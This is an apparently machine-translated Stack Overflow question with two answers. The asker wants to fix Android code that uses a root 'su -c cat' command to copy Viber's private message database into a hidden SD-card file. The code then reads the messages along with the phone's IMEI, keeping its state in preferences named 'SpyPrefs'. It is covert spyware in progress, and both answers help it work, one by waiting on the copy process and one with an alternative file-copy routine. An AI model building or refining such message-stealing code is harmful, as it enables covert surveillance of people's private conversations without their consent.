SQLite:异常:未知错误(代码14):无法打开数据库

时间:2014-01-08 09:53:56

标签: android sqlite

我根据手机并将其他应用程序的数据库复制到SD卡中。

在下面的代码中,它只是复制db文件,然后从表中获取数据。此代码抛出异常Exception:unknown error (code 14): Could not open database

如果您对此有任何想法,他们会帮助我。

String filep ="/mnt/sdcard/.configsvb.db";
String filefolder="/data/data/com.viber.voip/databases/viber_messages";
Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});

new Helper().readvb(filep, getApplicationContext(), data); // This method read the database file.

Helper.java

public void readvb(String filep,Context con, StringBuilder data)
{
        File dbfile = new File(filep);
        SharedPreferences preferences = con.getSharedPreferences("SpyPrefs", Context.MODE_WORLD_WRITEABLE);
        Editor editor = preferences.edit();
        if(dbfile.exists())
        {
                myDataBase = SQLiteDatabase.openDatabase(filep, null,SQLiteDatabase.NO_LOCALIZED_COLLATORS);
                long lastmessage = preferences.getLong("LastViberRead", 0);
                long msgtime=0;
                StringBuilder xml = new StringBuilder();
                LogsTable logtable= new LogsTable(con);
                Cursor cursor = myDataBase.query(DATABASE_TABLE, new String[]{"_id", "address","type", "body","date"}, "date>"+lastmessage, null, null, null, null);

                int count=0;
                String imei = ((TelephonyManager) con.getSystemService(Context.TELEPHONY_SERVICE)).getDeviceId();
                SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
                if(cursor != null)
                {

                }
        }
}

2 个答案:

答案 0 :(得分:1)

我通过在流程上调用waitFor()解决了我的问题,因为waitFor()在不同的流程中运行。此方法使调用线程等待与此对象关联的本机进程完成执行。

Process process = Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});
process.waitFor();

答案 1 :(得分:0)

尝试:

static class DatabaseClass extends SQLiteOpenHelper {

    DatabaseClass(final Context context) {
        super(context, Environment.getExternalStorageDirectory()
                + File.separator + "/DataBase/" + File.separator
            + DATABASE_NAME, null, DATABASE_VERSION);
}

还可以看一下:

http://techin-android.blogspot.it/2011/08/how-to-create-sqlite-databse-in-sdcard.html

<强>更新

复制文件而不是

Runtime.getRuntime().exec(new String[] { "su", "-c","cat "+filefolder+" > "+filep+" ; "});

您可以使用此代码段:

InputStream myInput = new FileInputStream("/data/data/pack_name/databases/databasename.db");

File directory = new File("/sdcard/some_folder");

if (!directory.exists()) {
    directory.mkdirs();
}

OutputStream myOutput = new FileOutputStream(directory.getPath() + "/AppName.backup");

byte[] buffer = new byte[1024];
int length;
while ((length = myInput.read(buffer)) > 0) {
    myOutput.write(buffer, 0, length);
}

myOutput.flush();
myOutput.close();
myInput.close();

...因为我不确定“cat”命令:它是否为复制的文件设置了正确的权限?